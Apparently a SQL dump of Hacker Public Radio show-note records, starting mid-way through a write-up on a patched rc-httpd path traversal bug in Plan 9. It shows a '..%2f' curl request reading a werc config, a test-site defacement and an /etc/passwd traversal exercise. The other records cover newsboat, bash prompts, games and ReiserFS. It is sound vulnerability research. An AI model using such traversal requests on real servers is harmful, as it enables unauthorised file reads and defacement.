haven\'t exited by now, serve the file</li>\n</ol>\n<p>The problem is no sanitization. The script checks for files in the current directory <em>BUT NOT BEFORE ENCODING THE URL STRING</em>.</p>\n<p>The urlencode command works by decoding encoded characters.</p>\n<pre class=\"sh\"><code>cpu% echo &#39;http://cirno/..%2f&#39; | urlencode -d\nhttp://cirno/../\n</code></pre>\n<p>Does <code>../</code> exist in <code>*/</code> ? the answer is yes.</p>\n<p><code>..</code> is a directory contained inside of <code>*/</code></p>\n<p><code>*/../</code> <em>is</em> the current working directory.</p>\n<h2 id=\"how-they-fixed-it\"><a href=\"ttps://git.9front.org/plan9front/plan9front/241667b933ff5bacb9a3974f6877fb8aad78bed3/commit.html\">How they fixed it</a></h2>\n<p>Adding a sanitizer. By comparing the encoded url against an actual hypothetical file path and exiting if there is a mismatch, all %2f funny business is avoided.</p>\n<hr />\n<h1 id=\"other-optional-bad-config-options-in-werc\">Other (optional) bad config options in werc</h1>\n<p>rc-httpd aside, a bad werc config can still lead to website defacement if your non rc-httpd webserver has a path traversal vulnerability.</p>\n<p>Additionally I have modified the DAC for /sys/www to allow werc, a child process of <code>rc-httpd</code> to write to disk. rc-httpd runs as the <code>none</code> user so it\'s not typically allowed to write to disk unless explicitly permitted. I do not allow this on my 9 webserver because it\'s the worst idea in the history of all time ever.</p>\n<p>I enabled the dirdir and blagh modules as if I were the type of admin who does a <code>chmod -R 777 /var/www/htdocs</code> because <q>that\'s what the wordpress installation guide told me to do so I could have a cool and easy way to modify my website from the browser.</q></p>\n<p>Let\'s pretend that I\'m not the admin of this system and scrape the werc config just to see if the hypothetical <em>badmin</em> has these modules enabled.</p>\n<pre class=\"sh\"><code># get config\n[root@localhost]# curl http://cirno/..%2f..%2f/sites/cirno/_werc/config\nmasterSite=cirno\nsiteTitle=&#39;Werc Test Suite&#39;\nconf_enable_wiki\nwiki_editor_groups admin\n</code></pre>\n<p>Hmmm, looks like these modules are enabled so we can assume that httpd is allowed to write to disk. Let\'s modify <code>cirno/index.md</code> to warn the admin. As a funny joke. Totally not a crime under the Computer Fraud and Abuse Act. Totally not an inappropriate way to warn admins about a vulnerability.</p>\n<pre class=\"sh\"><code>[root@localhost]# curl -s cirno | pandoc --from html --to plain\nquotes | docs | repo | golang | sam | man | acme | Glenda | 9times |\nharmful | 9P | cat-v.org\n\nRelated sites: | site updates | site map |\n\nWerc Test Suite\n\n-   &#x203A; apps/\n-   &#x203A; titles/\n\nSECURITY ADVISORY:\n\nlol this guy still hasn&#39;t figured out the ..%2f trick\n\nPowered by werc\n</code></pre>\n<h2 id=\"modifying-werc-to-support-password-hashing\">Modifying werc to support password hashing</h2>\n<p>Adding password hashes isn\'t too difficult. Being constrained by time, I have not done this quite yet. Reading the source code, all it takes is modifying 2 werc scripts: <code>bin/werclib.rc</code> and <code>bin/aux/addwuser.rc</code></p>\n<pre class=\"sh\"><code>% echo &#39;supersecret&#39; | sha1sum -2 512\n</code></pre>\n<hr />\n<h1 id=\"private-namespaces-to-the-rescue\">Private namespaces to the rescue</h1>\n<p>Luckily enough, the webserver runs as the <code>none</code> user with it\'s own namespace.</p>\n<h2 id=\"comparing-the-hostowners-namespace-and-none-users-namespace\">Comparing the hostowner\'s namespace and none user\'s namespace</h2>\n<p>I grab the namespace from the system console (ie not from drawterm) and from the listen command, then run a diff (unix style) to show the differences.</p>\n<pre class=\"sh\"><code>cpu% ns | sort &gt; cpu.ns\ncpu% ps -a | grep -e &#39;listen.*80&#39; | grep -v grep\nnone            355    0:00   0:00      132K Open     listen [/net/tcp/2 tcp!*!80]\ncpu% ns 355 | sort &gt; listen.ns\ncpu% diff -u listen.ns cpu.ns\n--- listen.ns\n+++ cpu.ns\n@@ -6,17 +6,29 @@\n bind  /amd64/bin /bin\n bind  /mnt /mnt\n bind  /mnt/exportfs /mnt/exportfs\n+bind  /mnt/temp/factotum /mnt/factotum\n bind  /n /n\n bind  /net /net\n bind  /root /root\n+bind -a &#39;#$&#39; /dev\n bind -a &#39;#I&#39; /net\n+bind -a &#39;#P&#39; /dev\n+bind -a &#39;#S&#39; /dev\n bind -a &#39;#l&#39; /net\n+bind -a &#39;#r&#39; /dev\n+bind -a &#39;#t&#39; /dev\n+bind -a &#39;#u&#39; /dev\n+bind -a &#39;#u&#39; /dev\n bind -a &#39;#&#xA4;&#39; /dev\n bind -a &#39;#&#xB6;&#39; /dev\n+bind -a &#39;#&#x3C3;/usb&#39; /dev\n+bind -a &#39;#&#x3C3;/usbnet&#39; /net\n bind -a /rc/bin /bin\n bind -a /root /\n+bind -b &#39;#k&#39; /dev\n bind -c &#39;#e&#39; /env\n bind -c &#39;#s&#39; /srv\n+bind -c /usr/pwn/tmp /tmp\n cd /usr/pwn\n mount -C &#39;#s/boot&#39; /n/other other\n mount -a &#39;#s/boot&#39; /\n@@ -26,4 +38,4 @@\n mount -a &#39;#s/slashmnt&#39; /mnt\n mount -a &#39;#s/slashn&#39; /n\n mount -aC &#39;#s/boot&#39; /root\n-mount -b &#39;#s/factotum&#39; /mnt\n+mount -b &#39;#s/cons&#39; /dev\n</code></pre>\n<p>The major difference is that the hostowner (equivalent to root user) has a lot more things bound to his namespace:</p>\n<ul>\n<li>\'#$\' PCI interfaces</li>\n<li>\'#P\' APM power management</li>\n<li>\'#S\' storage devices</li>\n<li>\'#r\' realtime clock and nvram</li>\n<li>\'#t\' serial ports</li>\n<li>\'#u\' USB</li>\n<li>\'#&#x3C3;\' /shr global mountpoints</li>\n<li>\'#k\' keyboard</li>\n<li>/tmp directories</li>\n<li>\'#s\' various special files relating to services</li>\n</ul>\n<p>The <code>listen</code> process in question is fairly well isolated from the system. Minimal system damage can be caused by pwning a process owned by <code>none</code>.</p>\n<hr />\n<h1 id=\"closing\">Closing</h1>\n<p>An argument could be maid that the rc-httpd vulnerability was \"not a bug\" because \"namespaces are supposed to segregate the system\".</p>\n<p>I disagree on this point. Namespaces are good and all but security is a multi-layer thing. Relying on a single security feature to save your system means relying on a single point of failure. Chroot escapes, namespace escapes, container escapes, and VM escapes are all things we need to be thinking about when writing software that touches the internet. Although unlikely, getting pwnd in spite of these security methods is still possible; <em>all</em> user input is dangerous and <em>all</em> user input that becomes remote code execution <em>always</em> results in privilege escalation no matter how secure you think your operating system is. Each additional layer of security makes it harder for attackers to get into the system.</p>\n<p>For example, when I write PHP applications, I consider things in this order:</p>\n<ol>\n<li>don\'t pass unnecessary resources into the document root via symlinks, bind mounts, etc.</li>\n<li>never ever use <code>system()</code> in a context where user input can ever be passed to the function in order to avoid shell escapes</li>\n<li>sanitize all user input depending on context. Ex: if the PHP program is directly referencing files, make a whitelist and compare requests to this whitelist. If the PHP process is writing to a database, use prepared statements.</li>\n<li>fire up a kali linux vm and beat the test server half to death</li>\n<li>iterate upon my ignorance</li>\n<li>doubly verify DAC just to be sure</li>\n<li>re-check daemon configs to make sure I\'m not doing anything stupid</li>\n<li>FINALLY: rely on SELinux or OpenBSD chroots (depending on prod env) to save me if all else failed</li>\n</ol>\n<p>And of course the other things like firewalls (with whitelists for ports and blacklists for entire IP address blocks), key based ssh authentication, sshd configurations that don\'t make it possible to enumerate users, rate limiters, etc.</p>\n<p>Each layer of security is like a filter. If you have enough layers of filters it would take an unrealistic amount of force to push water through this filter. Although no system is perfectly safe from three letter agencies, a system with multiple layers of security is typically safe from drive-by attacks.</p>\n<p>Final exercise: intentionally write a php script that does path traversal. Run this on a system with SELinux. Try to coax <code>/etc/passwd</code> out of the server. Now try <code>php-fpm</code> instead of <code>mod_php</code> or vice-versa. You\'ll be surprised when even MAC doesn\'t protect your system.</p>\n<p>Even now, after spending almost a month and a half worth of after work hacker hours almost exclusively on 9, I enjoy it more than when I began and even more than when using it in semi-regular spurts in years past. The purpose of research operating systems is to perform research, be it about the design of the system otherwise. Where would we be without private namespaces? How can I use this idea in the real world? What would the world look like if we had <em>real</em> distributed computing instead of web browsers (which are the new dumb terminal)? Is there a use case for this in the real world? What can we learn from single layer security models? What can we do to improve the system?</p>\n<p>Plan 9 is perfect for this type of research. I\'m considering writing an httpd in C and a werc-like (minus the parts I don\'t like) in C and modifying the namespace for the listener so that I can run a webserver on 9 without pulling in /bin in order to reduce the possibility of a shell escape.</p>\n<p>I think that in order to improve ourselves, we must be critical of ourselves. We must be critical of the things we enjoy in order to improve them and learn something new in the process. For software especially, there is no such thing as perfection, only least bad. And my final thought:</p>\n<blockquote>\n<p>Criticism: This program/OS/whatever sucks</p>\n</blockquote>\n<blockquote>\n<p>Response: I know, help me fix it.</p>\n</blockquote>\n',406,0,1,'CC-BY-SA','Plan 9, private namespaces, security, research operating systems',0,0,1),
(3695,'2022-09-30','How I watch youtube with newsboat',663,'Using youtube\'s channel RSS feeds to watch youtube from the command line','<h1 id=\"how-i-watch-youtube-with-newsboat\">How I watch youtube with <code>newsboat</code></h1>\n<p>I find that the youtube web ui is designed to keep users on the site by feeding them an unending stream of information. Bright colors, distracting thumbnails, peanut galleries, etc. I prefer to consume my videos in the same way I consume everything else: via RSS.</p>\n<p>RSS is my favorite way of aggregating things that other people have made because it allows me, the user, to interact with their things</p>\n<p>The only dependencies not on a standard UNIX system are <code>newsboat</code> and a video player. I also use <code>yt-dlp</code> to download videos for later viewing. I like <code>mpv</code> but you can substitute your own.</p>\n<pre><code>$ sudo $pkgmrg install newsboat mpv yt-dlp</code></pre>\n<h1 id=\"getting-rss-feeds-from-youtube\">Getting RSS feeds from youtube</h1>\n<p>Youtube (currently) provides RSS feeds for channels.</p>\n<h2 id=\"finding-youtube-channel-id\">Finding Youtube channel ID</h2>\n<p>Sometimes channels have vanity URLs that can make it difficult to find the channel ID. Other times, the URL contains the channel ID. All youtube channel IDs start with the string <code>UC</code> so we can easily grep for them.</p>\n<pre><code>$ curl https://www.youtube.com/c/RMCRetro | grep --color &quot;href=\\&quot;https://www.youtube.com/channel/UC\\&quot;&quot;\n[ lots of nonsense ]\nhref=&quot;https://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w&quot;\n[ lots of nonsense ]</code></pre>\n<p>In order to turn this channel ID into something useful, we create the following URL:</p>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w</code></pre>\n<p><a href=\"https://takeout.google.com/\">Google takeout can also be used to export youtube subscriptions.</a></p>\n<p>The export format is a CSV that contains the channel IDs for all of our subscriptions.</p>\n<pre><code>Channel Id,Channel Url,Channel Title\nUCLEoyoOKZK0idGqSc6Pi23w,http://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w,RMC - The Cave</code></pre>\n<h1 id=\"newsboat-url-list\">Newsboat url list</h1>\n<p>Newsboat reads it’s list of URLs from <code>~/.config/newsboat/urls</code>. Every url we add to this list will be automaticlly fetched. You can make separate URL lists for your list of videos and list of standard text based RSS feeds</p>\n<p>If you have an exported CSV, you can easily modify it so that newsboat will accept it as a list of URLs by deleting row 1, column 1+comma, and replacing the comma between the URL and channel name with a tab character. Doing a <code>sed \'s/channel\\//feeds\\/videos.xml?channel_id=/g\'</code> on the file is an easy way to replace the website URL with the feed url. Newsboat only reads the first field of every row so the channel name can be kept for easier subscription management.</p>\n<pre><code>http://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w     RMC - The Cave</code></pre>\n<h1 id=\"newsboat-config\">Newsboat config</h1>\n<p>In order to play videos, we need to add some macros to the newsboat config file at <code>~/.config/newsboat/config</code></p>\n<p>Mine looks like this.</p>\n<pre><code># load URLS on launch\nauto-reload  yes\n\n# vim binds\nbind-key j down\nbind-key k up\nbind-key j next articlelist\nbind-key k prev articlelist\nbind-key J next-feed articlelist\nbind-key K prev-feed articlelist\nbind-key G end\nbind-key g home\nbind-key d pagedown\nbind-key u pageup\nbind-key l open\nbind-key h quit\nbind-key a toggle-article-read\nbind-key n next-unread\nbind-key N prev-unread\nbind-key D pb-download\nbind-key U bashow-urls\nbind-key x pb-delete\n\n# macro setup\nbrowser linkhandler\nmacro , open-in-browser\n\n# launch video player\nmacro v set browser &quot;setsid -f mpv&quot; ; open-in-browser ; set browser linkhandler\n\n# download video\nmacro d set browser &quot;yt-dlp&quot;; open-in-browser ; set browser linkhandler\n\n# download audio only\nmacro a set browser &quot;yt-dlp --embed-metadata -xic -f bestaudio/best&quot; ; open-in-browser ; set browser linkhandler</code></pre>\n<h1 id=\"video-demo\">Video demo</h1>\n<p>This is a demo of using newsboat with videos. In order to execute the macros, you type <code>,</code> then <code>v</code> or whatever other letter you set the macro to.</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3695/newsboat.webm\">video in webm format</a> your web browser or operating system does not support free video codecs :(</p>\n<h1 id=\"a-url-list-to-get-you-started\">A url list to get you started</h1>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UC3ts8coMP645hZw9JSD3pqQ        Andreas Kling\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9-y-6csu5WGm29I7JiwpnA        Computerphile\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC15BJjhPr4d5gTClhmC4HRw        Elliot Coll\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCxQKHvKbmSzGMvUrVtJYnUA        Learn Linux TV\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ        LockPickingLawyer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCl2mFZoRqjw_ELax4Yisf6w        Louis Rossmann\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA        Luke Smith\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC7YOGHUfC1Tb6E4pudI9STA        Mental Outlaw\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w        Modern Vintage Gamer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w        RMC - The Cave\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC4rqhyiTs7XyuODcECvuiiQ        Scott The Woz\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5I2hjZYiW9gZPVkvzM8_Cw        Techmoan\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCy0tKL1T7wFoYcxCe0xjN6Q        Technology Connections\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC8uT9cgJorJPWu7ITLGo9Ww        The 8-Bit Guy\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw        The Linux Experiment\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCFMx-JitepTttWc-ABHhu8A        This Week in Retro\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCsnGwSIHyoYN0kiINAGUKxg        Wolfgang&#39;s Channel\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ8V9aiz50m6NVn0ix5v8RQ        decino                </code></pre>\n',406,0,1,'CC-BY-SA','newsboat, RSS, youtube',0,0,1),
(3956,'2023-10-02','HPR Community News for September 2023',0,'HPR Volunteers talk about shows released and comments posted in September 2023','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3691,'2022-09-26','Starship.rs the best prompt I don\'t use',1529,'Bash prompts','<p>Here\'s the snippets I use in my .bashrc file.</p>\n\n<pre><code>RED=&#39;&#92;033&#91;0;31m&#39;\nPLAIN=&#39;&#92;033&#91;0m&#39; # No Color\nWHITE=&#39;&#92;e&#91;97m&#39;\nGREEN=&#39;&#92;e&#91;0;32m&#39;\nPURPLE=&#39;&#92;e&#91;35;35m&#39;\nCYAN=&#39;&#92;e&#91;36;36m&#39;\n\nJAVA_VERSION=`java --version | head -1 | cut -f2 -d&#39; &#39;`\n\nIP=&#36;&#40;hostname -I | awk &#39;{print &#36;1;}&#39; &#41;\nsource &#47;usr&#47;doc&#47;git-2.35.1&#47;contrib&#47;completion&#47;git-prompt.sh\nPS1=&#39;&#92;! &#91;&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#40;hostname -s&#41; &#36;IP&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#91;&#92;&#91;&#39;&#36;CYAN&#39;&#92;&#93;&#36;&#40;pwd -P&#41;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#36;&#40;__git_ps1 &#34;&#91;&#92;&#91;&#39;&#36;PURPLE&#39;&#92;&#93; %s&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93;&#34;&#41;&#91;☕ &#39;&#36;JAVA_VERSION&#39;&#93;&#92;n&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93; &#39;</code></pre>\n',78,0,0,'CC-BY-SA','bash,ps1,terminal,linux',0,0,1),
(3698,'2022-10-05','Spectrogram',949,'Edit audio as a spectrogram','<p>Here\'s a view of my voice. The bright spots at the bottom of the image are my voice, and the bright burst at the top is a click caused by saliva.</p>\n<img src=\"https://i.imgur.com/CmL49Ne.png\" />\n<p>Here\'s me inhaling. Notice how sparse this is compared to my voice.</p>\n<img src=\"https://i.imgur.com/DXGrh5u.png\" />\n<p>One thing I fail to mention in the episode is that there are network monitors that render network activity as a spectrogram, too. If you don\'t have a <a href=\"https://www.metageek.com/wi-spy/\" target=\"_blank\">Wi-Spy</a>, it\'s worth looking at.</p>\n',78,0,0,'CC-BY-SA','audio',0,0,1),
(3726,'2022-11-14','Breaches ever reaching',251,'A short episode about the reaching effects of breaches and forgotten accounts','<p>A short episode about the reaching effects of breaches and accounts you may have forgotten about.</p>\n<ul>\n<li><p>New Marriot Breach:<br />\n<a href=\"https://techcrunch.com/2022/07/06/marriott-breach-again/\" class=\"uri\">https://techcrunch.com/2022/07/06/marriott-breach-again/</a></p></li>\n<li><p>Privacy Fix: How to Find Old Online Accounts from Consumer Reports:<br />\n<a href=\"https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/\" class=\"uri\">https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/</a></p></li>\n<li><p>Has you email or phone number been in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Cool Shit:</p>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3692,'2022-09-27','What is a real hacker?',1840,'I discuss the issue of what makes a real hacker with my my son','<p>In this episode, I discuss the ever prominent question of \"What is a real hacker?\" in explicitly explicit language. So enjoy the discussion and give me your thoughts. This topic always gets peoples feathers ruffled, so agree, disagree? Leave your thoughts or post your own segment on HPR!</p>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,hacking,hacker',0,0,1),
(3693,'2022-09-28','Fixing the automatic cutoff mechanism to an electric mower',274,'Rho`n describes fixing the safety mechanism to his electric mower','<h1>Synopsis</h1>\n\n<p>In this episode, Rho`n fixes the safety mechanism to his Neuton electric mower. Recently the automatic cutoff mechanism was getting finicky. Needing to pull the safety bar back just the correct amount to keep the mower running. Often needing to keep hands on both the left and right sides of the safety bar to prevent the mower from turning off.</p>\n<p>After opening up the housing holding the safety bars, it appeared that the tension spring which causes the bars to disengage from the switch when the bars are released was loose. This would allow the prong that the bars push into the switch contact to slip off the contact and slide overtop of the switch&mdash;turning off the mower. After tightening the coils and putting it back in place, the issue was resolved.</p>\n<style>\ndiv#figures {\n    display: flex;\n    flex-direction: row;\n    flex-wrap: wrap;\n    justify-content: center;\n}\ndiv#figures figcaption { max-width: 490px; }\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\n</style>\n<div id=\"figures\">\n<figure>\n    <a href=\"https://hackerpublicradio.org/eps/hpr3693/mower01-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/mower01-sm.jpg\"\n         alt=\"Neuton electric mower\"></a>\n    <br>\n    <figcaption>Neuton electric mower with handle collapsed showing the bottom of the safety handle housing.</figcaption>\n</figure>\n<figure>\n    <a href=\"https://hackerpublicradio.org/eps/hpr3693/mower02-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/mower02-sm.jpg\"\n                                   alt=\"Internal view of safety mechanism\"></a>\n    <br>\n    <figcaption>Internal view of the automatic cutoff mechanism.</figcaption>\n</figure>\n</div>\n\n<h1>Attribution</h1>\n\n<p>The <a href=\"https://freesound.org/\">transition sound used between audio clips is found on freesound.org</a>:<br>\n<a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Name: Harp Transition Music Cue</a><br>\n<a href=\"https://freesound.org/people/DanJFilms/\">Author: DanJFilms</a><br>\n<a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">License: Creative Commons Zero</a></p>\n\n',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,repair',0,0,1),
(3694,'2022-09-29','Robo Tripping Ravelords of the Apocalypse',616,'Organic Synthesis of Human and Machine Occurs Post Cosmic Event    ','\r\n<p>In the aftermath of the cosmic event that destroyed all computers below a certain die size, more robust machines emerge from the ashes.</p>\r\n\r\n<p><a href=\"/eps/hpr3694/3694.jpg\"><img src=\"/eps/hpr3694/3694-thumb.jpg\" alt=\"Sketch of the machine\" /></a></p>\r\n',401,0,0,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3699,'2022-10-06','Old and new videogames/board games with guest binrc',2552,'We will dive into our favorite games or others with interesting mechanics.','<h1 id=\"videogames\">Videogames</h1>\n<p>Cruelty Squad on Steam <a href=\"https://store.steampowered.com/app/1388770/Cruelty_Squad/\">Steam</a></p>\n<p>Half-Life <a href=\"https://store.steampowered.com/app/70/HalfLife/\">Steam</a></p>\n<p>Half-Life 2 <a href=\"https://store.steampowered.com/app/220/HalfLife_2/\">Steam</a></p>\n<p>Deus Ex <a href=\"https://store.steampowered.com/app/6910/Deus_Ex_Game_of_the_Year_Edition/\">Steam</a>, <a href=\"https://www.gog.com/en/game/deus_ex\">GOG</a></p>\n<p>Fallout 3 <a href=\"https://store.steampowered.com/app/22300/Fallout_3/\">Steam</a>, <a href=\"https://www.gog.com/en/game/fallout_3_game_of_the_year_edition\">GOG</a></p>\n<p>Slay the Spire <a href=\"https://store.steampowered.com/app/646570/Slay_the_Spire/\">Steam</a>, <a href=\"https://www.gog.com/game/slay_the_spire\">GOG</a></p>\n<p>Crypt of the NecroDancer <a href=\"https://store.steampowered.com/app/247080/Crypt_of_the_NecroDancer/\">Steam</a>, <a href=\"https://www.gog.com/game/crypt_of_the_necrodancer\">GOG</a></p>\n<p>Spin the bottle Bumpie\'s party (Nintendo WiiU) <a href=\"http://spinthebottlethegame.com/\">website</a></p>\n<p>Affordable space adventures (Nintendo WiiU) <a href=\"http://affordablespaceadventures.com/\">website</a></p>\n<p>Old School Runescape <a href=\"https://play.runescape.com/oldschool\">website</a>, <a href=\"https://runelite.net/\">open-source client</a></p>\n<p>Runescape music: Sea shanty 2 <a href=\"https://www.youtube.com/watch?v=BJhF0L7pfo8\">original</a>, <a href=\"https://www.youtube.com/watch?v=bfcZacwnVCk\">remix</a></p>\n<p>Life is strange <a href=\"https://store.steampowered.com/app/319630/Life_is_Strange__Episode_1/\">Steam</a>, <a href=\"https://www.gog.com/game/life_is_strange_complete_season\">GOG</a></p>\n<p>Grim Fandango <a href=\"https://store.steampowered.com/app/316790/Grim_Fandango_Remastered/\">Steam</a></p>\n<h2 id=\"linux-native-games\">Linux-native games</h2>\n<p>These games can be found in most linux distro repositories.</p>\n<p>Endless Sky <a href=\"https://endless-sky.github.io/\">website</a>, <a href=\"https://store.steampowered.com/app/404410/Endless_Sky/\">Steam</a></p>\n<p>Powermanga <a href=\"https://linux.tlk.fr/games/Powermanga/\">website</a></p>\n<p>SuperTuxKart <a href=\"https://supertuxkart.net/Main_Page\">website</a></p>\n<p>Xbill <a href=\"https://en.wikipedia.org/wiki/XBill\">Wikipedia</a>, <a href=\"http://www.xbill.org/\">website</a></p>\n<h2 id=\"retrogame\">Retrogame</h2>\n<p>Banjo Kazooie (Nintendo 64) <a href=\"https://en.wikipedia.org/wiki/Banjo-Kazooie\">Wikipedia</a></p>\n<p>Ducktales (NES) <a href=\"https://en.wikipedia.org/wiki/DuckTales_(video_game)\">Wikipedia</a></p>\n<h1 id=\"board-games\">Board Games</h1>\n<p>Labyrinth <a href=\"https://www.ravensburger.us/products/games/award-winning-games/labyrinth-26448/index.html\">website</a></p>\n<p>Tokaido <a href=\"https://funforge.fr/game/en/tokaido\">website</a>, <a href=\"https://store.steampowered.com/app/648750/Tokaido/\">Steam</a></p>\n<p>Wingspan <a href=\"https://stonemaiergames.com/games/wingspan/\">website</a>, <a href=\"https://store.steampowered.com/app/1054490/Wingspan/\">Steam</a></p>\n',407,0,1,'CC-BY-SA','games,guest,videogames,board games',0,0,1),
(3701,'2022-10-10','ReiserFS - the file system of the future',1171,'The history and future of ReiserFS, its involvement with DARPA, a sordid murder and Kernel politics','<ul>\n<li>ReiserFS &#x2013; The file system of the future</li>\n<li>Intro: Welcome to HPR; What I do; How I got in to computing; How I got in to Slackware and discovered ReiserFS</li>\n<li>A history of ReiserFS: Previous episode; Brief recap; A brief history; Lessons learned and experiences gained; Some tools to use</li>\n<li>Outro: Thanks</li>\n</ul>\n\n<h3>ReiserFS</h3>\n<em><a href=\"https://en.wikipedia.org/wiki/ReiserFS\">From Wikipedia, the free encyclopedia</a></em>\n\n<p>\nReiserFS is a general-purpose, journaling file system initially designed and implemented by a team at Namesys led by Hans Reiser and licensed under GPLv2. Introduced in version 2.4.1 of the Linux kernel, it was the first journaling file system to be included in the standard kernel. ReiserFS was the default file system in Novell\'s SUSE Linux Enterprise until Novell decided to move to ext3 on October 12, 2006, for future releases.<br />\n\nNamesys considered ReiserFS version 3.6 which introduced a new on-disk format allowing bigger filesizes, now occasionally referred to as Reiser3, as stable and feature-complete and, with the exception of security updates and critical bug fixes, ceased development on it to concentrate on its successor, Reiser4. Namesys went out of business in 2008 after Reiser\'s conviction for murder. The product is now maintained as open source by volunteers. The reiserfsprogs 3.6.27 were released on 25 July 2017.<br />\n\nReiserFS is currently supported on Linux without quota support. It has been discussed for removal from the Linux kernel since early 2022 due to a lack of maintenance upstream, and technical issues inherent to the filesystem, such as the fact it suffers from the year 2038 problem; it was deprecated in Linux 5.18, with removal planned for 2025.\n</p>\n',411,0,0,'CC-BY-SA','hans reiser, reiserfs, reiser4, reiser5, slackware, linux, intro, darpa, acorn, amiga, commodore',0,0,1),
(3702,'2022-10-11','Easter Ogg',3722,'From Scotland, another chat between MrX and Dave Morriss','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\n</ul>\n<p>We recorded this on Monday September 12<sup>th</sup> 2022. We have a list of talking points each time and <em>never</em> get through them!</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Places visited:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stockbridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a>\n<ul>\n<li>Died September 8<sup>th</sup> 2022 at Balmoral Castle, Scotland, aged 96</li>\n<li>State funeral 2022-09-19</li>\n</ul></li>\n</ul>\n<ul>\n<li>Navigation by phone:\n<ul>\n<li>Dave’s phone battery out of charge on the outskirts of Liverpool on the way to OggCamp.</li>\n<li>MrX’s old Garmin GPS used weird routes when travelling</li>\n<li>Dave once met a lost driver going down Donkey Lane<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a> to the pedestrian railway crossing due to bad GPS directions</li>\n</ul></li>\n</ul>\n<ul>\n<li>Domestic stuff:\n<ul>\n<li>Dave’s house has been painted. It’s covered in <a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\"><em>harling</em></a> (aka <em>rough-cast</em> or <em>pebble-dash</em> in England) which has very sharp stones embedded in it, and this paint covers these sharp stones.</li>\n<li>Plumbing issues: stopping a dripping tap, replacing the washer, or with modern taps <em>the module</em>.</li>\n<li>Advisability of calling in a plumber!</li>\n</ul></li>\n</ul>\n<ul>\n<li>COVID-19, and related:\n<ul>\n<li>The virus has not gone, even though there are many who pretend that it has.</li>\n<li>MrX and MrsX visited <a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees</a> for a wedding with a <a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh</a> and MrX caught COVID there, though it wasn’t serious. MrsX did not catch it!</li>\n<li>Immunology is hard to understand! Some cold-like illnesses may be caused by other corona viruses and may help protect against SARS-CoV-2.</li>\n<li>Dave has an Immunology book, but hasn’t read it yet! See the links for details.</li>\n<li>MrX mentioned <a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a> in the context of being realistic about COVID-19 and continuing to take precautions.</li>\n<li>Reluctance to go shopping. Dave makes a weekly trip, wearing a mask. MrX uses 